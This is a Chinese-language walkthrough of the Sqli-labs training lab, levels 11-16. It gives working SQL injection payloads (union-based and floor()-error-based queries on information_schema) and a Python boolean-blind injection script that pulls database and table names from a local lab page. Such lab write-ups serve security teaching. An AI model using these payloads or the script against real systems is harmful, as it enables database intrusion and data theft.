Sqli-labs靶场详细攻略Less 11-16

2023-10-30

Less 11-16

Less 11 POST - Error Based - Single quotes- String

这一关页面发生了变化,开始使用post方法传递参数。

在这里插入图片描述

在Username字段输入1',查看错误信息。

在这里插入图片描述

错误信息中发现password字段,基本可以确认这两个字段在同一个sql语句中联合查询。

使用order by注入测试返回的参数为几列。

测试到3时报错,证明返回两列。

在这里插入图片描述

注意,这里的注释使用的是-- (两个减号一个空格),而不是之前的--+。之前也提到使用加号是因为在某些http实现时会将加号转变为空格。这里使用#进行注释也是一样的。

使用union select注入查询数据库名,数据库中表名。

-1' union select database(),group_concat(table_name) from information_schema.tables where table_schema='security' -- 

在这里插入图片描述

这里也返回报错信息,因此使用floor()updatexml()extractvalue()函数进行报错注入同样是可以的。

使用floor()报错查询数据库名

-1' union select count(*),concat(database(),floor(rand(0)*2))a from information_schema.tables group by a -- 

在这里插入图片描述

Less 12 POST - Error Based - Double quotes- String- with twist

这一关与第十一关类似,只是闭合方式变为了")

Less 13 POST - Double Injection - Single quotes- String- With twist

这一关与前两关区别在于不显示查询信息了,但依旧显示错误信息。可以用错误注入,同时闭合方式变为了'),其他没有区别。

Less 14 POST - Double Injection - Single quotes- String-With twist

与第十三关类似,只是闭合方式改为了",其他没区别。

Less 15 POST - Blind- Boolian/time Based - Single quotes

这一关使用bool型盲注,稍微改一下使用get方法进行盲注的脚本

from lxml import html
import requests

def getCheck(url,xpath,payload):
    data={
        "uname":payload,
        "passwd":"1",
        "submit":"Submit"
    }

    r = requests.post(url,data = data)
    tree=html.fromstring(r.text)
    check=tree.xpath(xpath)
    if(check[0]=='../images/flag.jpg'):
        return 1
    else:
        return 0

def database_length(url,xpath):
    length=0
    for i in range(1,30):
        payload="'or length((select database()))<%s #"%i
        check=getCheck(url,xpath,payload)
        if(check):
            break
        else:
            length+=1
    print('Database length:'+str(length))
    return length

def database_name(url,xpath,dbl):
    dbname=''
    for i in range(1,dbl+1):
        for j in range(97,123):
            payload="-1'or ascii(substr((select database()),%s,1))=%s-- "%(i,j)
            check=getCheck(url,xpath,payload)
            if(check):
                # print(chr(j))
                dbname+=chr(j)
    print('database name:'+str(dbname))
    return dbname

def database_table(url,xpath,dbname):
    tablenum=0
    for i in range(0,10000):
        payload="'or length((select group_concat(table_name) from information_schema.tables where table_schema='%s'))<%s-- "%(dbname,i)
        check=getCheck(url,xpath,payload)
        if(check):
            tablenum=i
            break
    dbtables=''
    for i in range(1,tablenum+1):
        for j in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
            payload="'or substr((select group_concat(table_name) from information_schema.tables where table_schema='%s'),%s,1)='%s'-- "%(dbname,i,j)
            check=getCheck(url,xpath,payload)
            if(check):
                dbtables+=j
                break
    return dbtables

if __name__=='__main__':
    url="http://127.0.0.1/Less-15/"
    xpath="/html/body/div[3]/font/font/img/@src"
    dbl=database_length(url,xpath)
    dbname=database_name(url,xpath,dbl)
    dbtables=database_table(url,xpath,dbname)
    print("tables:"+str(dbtables))

这里主要改动的是getCheck()函数,还有每次注入的payload语句,总体思路没什么变化,仍然是按位查询出结果。

def getCheck(url,xpath,payload):
    data={
        "uname":payload,
        "passwd":"1",
        "submit":"Submit"
    }

    r = requests.post(url,data = data)
    tree=html.fromstring(r.text)
    check=tree.xpath(xpath)
    if(check[0]=='../images/flag.jpg'):
        return 1
    else:
        return 0

getCheck()函数中,主要从原来的get方法改为了post方法,并且当输入值为真时,页面上返回的是flag.jpg图片,否则显示的是slap.jpg图片。通过返回图片的不同来判断传入的表达式是否为真。

为假时页面显示结果。

在这里插入图片描述

为真时页面显示结果。

在这里插入图片描述
脚本运行结果
在这里插入图片描述

Less 16 POST - Blind- Boolian/Time Based - Double quotes

这一关与第15关类似,只是将闭合方式改为了”),其他没有区别,只需将上一关脚本注入语句中的闭合用'改掉,这一关依然可以用。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Sqli-labs靶场详细攻略Less 11-16 的相关文章

  • 如何授予所有表的 REFERENCES 权限

    我必须授予REFERENCES登录权限说sql login 我可以给予资助REFERENCES对单个表的权限 例如 GRANT REFERENCES ON Mytable TO sql login 有什么办法可以授予REFERENCES允许
  • 模式更新后 jOOQ 生成的类的运行时验证?

    我用org jooq util DefaultGenerator在构建过程中生成 jOOQ 类来表示我的数据库模式 当应用程序运行时 架构预计会在应用程序不知情的情况下发生更改 此类更改可能与已生成的代码兼容 也可能不兼容 如何在运行时检测
  • 如何在 sqlalchemy 中创建基于文字的查询?

    我创建了一个函数来创建表达式 def test operator1 operation operator2 return literal column operator1 op operation operator2 现在当我用 test
  • 如何在 SQL Server 中的特定字符后分割字符串并将该值更新到特定列

    我有包含数据的表格1 1 to 1 20在一列中 我想要值 1 到 20 即 前斜杠 之后的值更新到 SQL Server 中同一表中的其他列 Example 专栏有价值1 1 1 2 1 3 1 20新列值1 2 3 20 也就是说 我要
  • 使用 MS Access 获取行的第一个实例

    EDITED 我有这个查询 我想SELECT表中记录的第一个实例petTable SELECT id pet ID FIRST petName First Description FROM petTable GROUP BY pet ID
  • SQL参数化查询不显示结果

    我的 DataAcess 类中有以下函数 但它没有显示任何结果 我的代码如下 public List
  • 如何使用 DateTime 执行 SQL NOT NULL?

    一个人如何处理DateTime with a NOT NULL 我想做这样的事情 SELECT FROM someTable WHERE thisDateTime IS NOT NULL But how 嗯 它有效吗 我刚刚测试过 Obje
  • SPARK SQL - 当时的情况

    我是 SPARK SQL 的新手 SPARK SQL 中是否有相当于 CASE WHEN CONDITION THEN 0 ELSE 1 END 的内容 select case when 1 1 then 1 else 0 end from
  • java mysql 准备好的语句

    我正在尝试使用 java 向数据库中进行简单的插入 它告诉我我的 sql 语法已关闭 但是 当我复制打印出来的字符串并将其放入 phpmyadmin 中的 sql 命令中时 它会正确执行该命令 并且我似乎无法弄清楚 java 中的字符串查询
  • 连接两个表的查询的 SQL Server“FOR XML”输出

    我是 SQL Server 中 FOR XML 功能的新手 我正在使用 SQL Server 2012 我有两个表 Word 和 Word Expansion 样本数据 表 字 WordOID Word 1 PIPE 2 WIRE 表 Wo
  • 如何使用 MySQL 的 LOAD DATA LOCAL INFILE 在导入 CSV 时将字符串日期更改为 MySQL 日期格式

    我正在使用 MySQL 的 LOAD DATA LOCAL INFILE SQL 语句将数据从 CSV 文件加载到现有数据库表中 下面是一个 SQL 语句示例 LOAD DATA LOCAL INFILE file csv INTO TAB
  • 使用两个日期之间的随机日期时间更新每一行

    我有一个专栏叫date created我希望每一行保存一个随机日期 日期距当前时间为 2 天 我正在运行以下查询 但它会更新具有相同随机日期的所有行 我希望每一行都是随机的并且不相同 update table set date create
  • 查找 PostgreSQL 中所有范围集合的所有交集

    我正在寻找一种有效的方法来查找时间戳范围集之间的所有交集 它需要与 PostgreSQL 9 2 配合使用 假设这些范围代表一个人可以见面的时间 每个人都可以有一个或多个空闲时间范围 我想找到all可以召开会议的时间段 即所有人都有空的时间
  • 如何在 SQL Server 中使用 nvarchar 变量为 unicode 用户添加前缀“N”?

    如何在 SQL Server 中使用 nvarchar 变量为 unicode 用户添加前缀 N 例如 给定这个变量 declare Query1 nvarchar max 我可以这样分配它 set Query1 N 但是如果我想使用怎么办
  • 在 SQL Server 中处理日期

    我正在开发一个 ASP NET 网站 我从网页获取日期 然后根据用户输入我想从 SQL Server 数据库获取结果 使用存储过程 问题是我只能从用户界面获取这种格式的日期2016 10 08这是字符串类型 但在数据库中 我有一个类型为da
  • 拆分列中的字符串并在列中添加值

    我有一个包含几行数据的表 如下所示 16 W 2 Work ALBO 00 Proposal ALxO Amendement 1 20091022 signed pdf 17 W 2 Work ALBO 00 Proposal Level1
  • 避免连接失败时出现空指针

    我有我的域类 带有命名查询 class Atendimento implements Serializable Funcionario funcionario static mapping funcionario column FUNCOD
  • 列中差异的数量

    我想检索一列每行中有多少个字母的差异 例如 如果您有一个值 test 而另一行有一个值 testing 则 test 和 testing 之间的差异为 4 个字母 该列的数据值为 4 I have reflected about it an
  • 在一个数据访问层中处理多个连接字符串

    我有一个有趣的困境 我目前有一个数据访问层 它必须与多个域一起使用 并且每个域都有多个数据库存储库 具体取决于所调用的存储过程 目前 我只需使用 SWITCH 语句来确定应用程序正在运行的计算机 并从 Web config 返回适当的连接字
  • sql server 按组排名

    问题看似简单 但我却无法理解 这是针对 sql 服务器的 what I have in a table What I need as a output cksum id cksum id 2162514679 204 2162514679

随机推荐

  • 四川泡菜中的亚硝酸盐如何变化

    文章转自 http blog 163 com zhoux1025 126 blog static 28025045201241142411713 版权归原作者 自己喜欢吃泡菜 却总是被导致癌变的亚硝酸盐困扰 今天查了一些资料 仅供喜欢吃泡菜
  • 已知长度为n的线性表A采用顺序存储结构,请写一个时间复杂度为O(n)、空间复杂度为O(1)的算法,该算法可删除线性表中所有值为item的数据元素。

    include
  • TCP的连接和释放连接(三次握手和四次挥手的过程)

    参考文章 javascript 看图理解TCP的三次握手和四次挥手 个人文章 SegmentFault 思否 TCP 三次握手 和 四次挥手 通俗易懂 大黄的Java笔记的博客 CSDN博客 tcp三次握手最大时间 两张动图 彻底明白TCP
  • Unity3d 打飞碟 物理运动版

    Unity3d 打飞碟 物理运动版 github 传送 视频演示 题目要求 改进飞碟 Hit UFO 游戏 按 adapter模式 设计图修改飞碟游戏 使它同时支持物理运动与运动学 变换 运动 Adapter 模式 运动学和动力学的物体运动
  • sql基础1

    cmd mysql uroot p password mysql navicat Ctrl s 保存建的新表 表的基本操作 show databases 查看所有数据库 use kkb 进入kkb数据库 show tables 查看所有表
  • vc++ 如何使radio button ,checkbox初始为已选状态?

    CheckDlgButton IDC CHECK1 BST UNCHECKED 0 CheckDlgButton IDC CHECK2 BST CHECKED 1 CButton GetDlgItem IDC RADIO 1 gt SetC
  • 支付宝支付 第十集:支付回调

    支付宝支付 第十集 支付回调 一 注意 这里的支付回调最好是自己有一个服务器 阿里云服务器一年70多也不是很贵 博主自己尝试了一下 本机和使用虚拟机模拟服务器的话 支付宝的授权回调信息是传不过来的 无法进行支付回调 怎样使用阿里云服务器运行
  • 机器学习(二)--- 分类算法详解

    感觉狼厂有些把机器学习和数据挖掘神话了 机器学习 数据挖掘的能力其实是有边界的 机器学习 数据挖掘永远是给大公司的业务锦上添花的东西 它可以帮助公司赚更多的钱 可是相比JAVA和C 语言开发来说 机器学习 数据挖掘确实是新一些老人占的坑少一
  • MySQL面试之一条SQL是如何执行的

    一 MySQL 基础架构分析 1 1 MySQL 基本架构概览 下图是 MySQL 的一个简要架构图 从下图你可以很清晰的看到用户的 SQL 语句在 MySQL 内部是如何执行的 先简单介绍一下下图涉及的一些组件的基本作用帮助大家理解这幅图
  • 打乱 数字_打乱数组

    JavaScript实现LeetCode第384题 打乱数组 题目描述 打乱一个没有重复元素的数组 示例 以数字集合 1 2 和 3 初始化数组 int nums 1 2 3 Solution solution new Solution n
  • 前端 CSS 变量简介及基本使用方法

    背景 复杂的网站都会有大量的CSS代码 通常也会有许多重复的值 举个例子 同样一个颜色值可能在成千上百个地方被使用到 如果这个值发生了变化 需要全局搜索并且一个一个替换 效率不高且容易出错 自定义属性在某个地方存储一个值 然后在其他许多地方
  • [非线性控制理论]5_自适应控制器(Adaptive controller)

    非线性控制理论 1 Lyapunov直接方法 非线性控制理论 2 不变性原理 非线性控制理论 3 基础反馈稳定控制器设计 非线性控制理论 4 反馈线性化 反步法 非线性控制理论 5 自适应控制器 Adaptive controller 非线
  • 图像过滤和混合图像

    一 原理 这项任务的目标是编写一个图像过滤功能 并使用它来创建混合图像 使用Oliva Torralba和Schyns 的SIGGRAPH 2006 论文的简化版本 混合图像是静态图像 其在解释中随观看距离而变化 基本思想是高频率在可用时倾
  • Shell编程总结

    Shell编程总结 1 变量被定义时为空 即参加算术运算时可以直接与数值相加 被看做初值为0 2 使用变量时 需要在变量前加 即 a 3 中括号相当于test 在if语句中 if test f 1 与 if f 1 作用相同 但是需要注意中
  • php 支付宝 支付 prepay_id,支付宝&微信统一支付

    1 实体对应关系 Application 包括appId 秘钥 OneToMany PaymentOrder 支付记录实体 订单系统生成的订单号 订单商品信息 金额 返回订单系统的url 微信 支付宝服务器主动通知商户服务器里指定的url等
  • cesium中的坐标系

    1 屏幕坐标 像素 二维笛卡尔平面坐标 可通过new Cesium Cartesian2 x y 创建 2 笛卡尔空间直角坐标 又称世界坐标 可通过new Cesium Cartesian3 x y z 创建 它的坐标原点在椭球的中心 3
  • 实时同步刷新excel数据到数据库

    实时同步刷新excel数据到数据库 假设我们有一个excel文件 里面的数据会不定时更新 如果想要将excel的数据实时同步刷新到数据库 该如何实现呢 前面 我们已经讲了定时导入excel到数据库 我们只需要稍作修改就可以实现实时刷新 在E
  • Leetcode942:增减字符串匹配(贪心算法)

    Leetcode942 增减字符串匹配 题目 由范围 0 n 内所有整数组成的 n 1 个整数的排列序列可以表示为长度为 n 的字符串 s 其中 如果 perm i lt perm i 1 那么 s i I 如果 perm i gt per
  • 【nginx】配置nginx.conf && 配置多个代理

    当我们的Vue项目中有多个代理时 前端webpack中 proxy 匹配字段 proxyApi 代理地址 target http 192 0 0 0 7080 changeOrigin true 重写路径 pathRewrite proxy
  • Sqli-labs靶场详细攻略Less 11-16

    Less 11 16 Less 11 POST Error Based Single quotes String 这一关页面发生了变化 开始使用post方法传递参数 在Username字段输入1 查看错误信息 错误信息中发现password